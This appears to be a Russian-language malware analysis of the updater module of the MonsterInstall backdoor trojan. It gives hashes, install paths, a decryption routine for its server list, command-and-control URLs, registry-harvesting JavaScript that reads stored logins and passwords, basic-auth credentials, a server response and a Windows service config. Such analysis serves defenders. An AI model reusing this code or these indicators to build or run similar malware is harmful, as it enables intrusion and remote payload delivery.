SHA1:
- 4f053ad18150f07f15039bd845d3e2db8bd50c72 (main.js)
- b24e8dfd44a42a74e8c47d759d36fc178d988a93 (start.js)
- 2cfa09b812f90c9f1e0a1e620c4ef9d8f8f6b5e7 (crypto.dll)
- d0a6fab0e4c98413f56f96d68c11ebd64db090cf (network.dll)
- 444d4a915ba55a46b9c551ba4a6c1398a1cd5e16 (windows.dll)
- efe12a67e009c93f0702cc775b78bc70bdac0cd3 (service.exe)
Описание
Модуль троянца MonsterInstall, отвечающий за обновления бэкдора. Состоит из нескольких js-скриптов и нативных библиотек на С++.
Принцип действия
Скрипт запускается через Node.js. В системе устанавливается в C:\Windows\Reserve Service и прописывается службой.
Библиотеки:
sha1 | name | ts | Pdb |
---|---|---|---|
7e6fc66e77fc02b36889043f65d9b654d826b780 | 7z.dll | 09.10.2016 01:26:26 | |
d0d68b64b39495de80add1a66ecb55cab43a6b25 | 7zip.dll | 16.08.2018 22:02:00 | B:\Develop\VisualStudioProject\module\7zip\Release\7zip.pdb |
2cfa09b812f90c9f1e0a1e620c4ef9d8f8f6b5e7 | crypto.dll | 20.08.2018 03:14:44 | B:\Develop\VisualStudioProject\module\crypto\Release\crypto.pdb |
d0a6fab0e4c98413f56f96d68c11ebd64db090cf | network.dll | 17.08.2018 18:38:49 | B:\Develop\VisualStudioProject\module\network\Release\network.pdb |
444d4a915ba55a46b9c551ba4a6c1398a1cd5e16 | windows.dll | 20.08.2018 22:10:36 | B:\Develop\VisualStudioProject\module\windows\Release\windows.pdb |
efe12a67e009c93f0702cc775b78bc70bdac0cd3 | daemon\service.exe | 22.03.2013 19:31:16 | c:\Users\Corey\Documents\workspace\node-windows\_tmp\winsw\obj\Release\winsw.pdb |
Основным модулем является main.js. Он отправляет запрос к google.com, yandex.ru или www.i.ua с целью получения текущей даты. После этого с помощью библиотеки crypto.dll расшифровывает содержимое файла bootList.json.
Алгоритм расшифровки:
key = '123'
s = ''
for i in range(len(d)):
s += chr((ord(d[i]) - ord(key[i % len(key)])) & 0xff)
В расшифрованном json-файле содержится список управляющих серверов:
[{"node":"http://cortel8x.beget.tech/reserve/","weight":10},{"node":"http://reserve-system.ru/work/","weight":10}]
Затем троянец читает информацию из реестра:
function getInfo()
{
var WindowsNodeInfo = new Object();
WindowsNodeInfo.mainId = windowsLib.getStringRegKey("HLM\SOFTWARE\Microsoft\Windows Node", "mainId");
WindowsNodeInfo.login = windowsLib.getStringRegKey("HLM\SOFTWARE\Microsoft\Windows Node", "log");
WindowsNodeInfo.password = windowsLib.getStringRegKey("HLM\SOFTWARE\Microsoft\Windows Node", "pass");
WindowsNodeInfo.source = windowsLib.getStringRegKey("HLM\SOFTWARE\Microsoft\Windows Node", "source");
WindowsNodeInfo.updaterVersion = windowsLib.getStringRegKey("HLM\SOFTWARE\Microsoft\Windows Node", "updaterVersion");
WindowsNodeInfo.workerVersion = windowsLib.getStringRegKey("HLM\SOFTWARE\Microsoft\Windows Node", "workerVersion");
var ReserveSystemInfo = new Object();
ReserveSystemInfo.workerVersion = windowsLib.getStringRegKey("HLM\SOFTWARE\Microsoft\Reserve System", "updaterVersion");
var myInfo = new Object();
myInfo.windowsNode = WindowsNodeInfo;
myInfo.reserveSystem = ReserveSystemInfo;
return JSON.stringify(myInfo);
}
После чего отправляет ее POST-запросом на управляющий сервер, расшифрованный ранее. В запрос также добавляется HTTP-заголовок базовой авторизации, соответствующий паре "cortel:money".
Ответ сервера:
{
"data": {
"updaterVersion": [0, 0, 0, 1],
"updaterLink": "/upd.7z",
"updaterVerify": "£ñß(\u0012Ä\ti¾$ë5»\u001c²\u001c\fÙ=±÷ö‚´èUnÐÂBÔ\n\u001dW6?u½\u0005Œn\u000fp:üÍ\u0019\u0000\u000bSý«\u00137®÷\u0013”’ì¥û§s7F\u0016ó\\\u000f%6ñê\"7î<ýo䃃0Æ%tñÅv‚S¡\r\u001e•ÅÆ¡¿N)v\\f8\u0004F\fUS¯‰³§ oIõŒiÆîGݪ\u0017êH/8Ö1-°™[P5E7X‡Fø%SŠXÕ6Oþ=Vô‰…ˆ:.3Œ‚i\u000eÁù9Ã&¾ŒM\u001eÛªé$\u0006#IèÞÛ\u0018À\u001b^è,ÁòÑCTXb\u001d$ç\u0004„ð¶0UVÕ»e\u001f\b\u001e¡Ä¼è+Fjúÿoâz\r!çô3xØs—_\u000b\u0017\u001fY]\u0001¥j^û\\W",
"dateTime": 1534868028000,
"bootList": [{
"node": "http://cortel8x.beget.tech/reserve/",
"weight": 10
}, {
"node": "http://reserve-system.ru/work/",
"weight": 10
}]
},
"dataInfo": "I`ù@ÀP‘ÈcÊÛ´#ièÒ~\u0007<\u0001Ýìûl«ÔÆq\u0013àÛ\u0003\b\u0017ÑLÁ}ÿÚ˜DS®']\u0003bf\u0003!¿Cð¸q¸ÖÜ’B¢CÄAMˆÀA¤d\u001c5¨d-\u0013‰\u0011ѼF‘|SB[¬°(ܹÈÒÜ £L\u00071¾:`\u001bŒìýKõ\"²Ÿ¸$´3™UºÅ¨J†¨cƒf¿}r;Öeì¶x‰ØKt¥‹„47a\u001e¸Ô‡ˆy\u0006•\u001b\u0004‚‹„„•ó\u001a\u0019\nu>¨)bkæ…'\u00127@é‹7µæy3ÈNrS’Mð\u0018\u0019¾òÓ[å5H·¦k‘¿É&PÂÈîåÚ~M\u0010ðnáH擪xÃv cד\u0013
T
ïÑÝ\t\u0018Æ\u00148$”Ôî"
}
Троянец сравнивает значение параметра dataTime с текущей датой. Если разница составляет более недели (в пересчете на миллисекунды), троянец не будет выполнять команды. В параметре dataInfo содержится подпись данных (поле data), которая проверяется с помощью встроенного в main.js публичного ключа. Список серверов из параметра "bootList" шифруется и сохраняется в "bootList.json".
Троянец сверяет свою версию с указанной в параметре "updaterVersion"в ответе сервера. Если текущая версия совпадает, то запускает "upd\upd.exe", передав параметром "main.js". Если версия в ответе сервера более новая, то скачивает по ссылке из параметра "updaterLink" файл upd.7z, проверяет его подпись и распаковывает. После чего записывает в реестр версию обновления [HKLM\SOFTWARE\Microsoft\Reserve System] 'updaterVersion' и запускает "upd\upd.exe", передав параметром "main.js".
start.js
Запускает %win%\Reserve Service\reserve.exe "main.js".
service.exe
Сборка утилиты winsw. Использует xml-файл с параметрами:
<service>
<id>service.exe.exe</id>
<executable>C:\Windows\Reserve Service\reserve.exe</executable>
<arguments>"C:\Windows\Reserve Service\start.js" </arguments>
</service>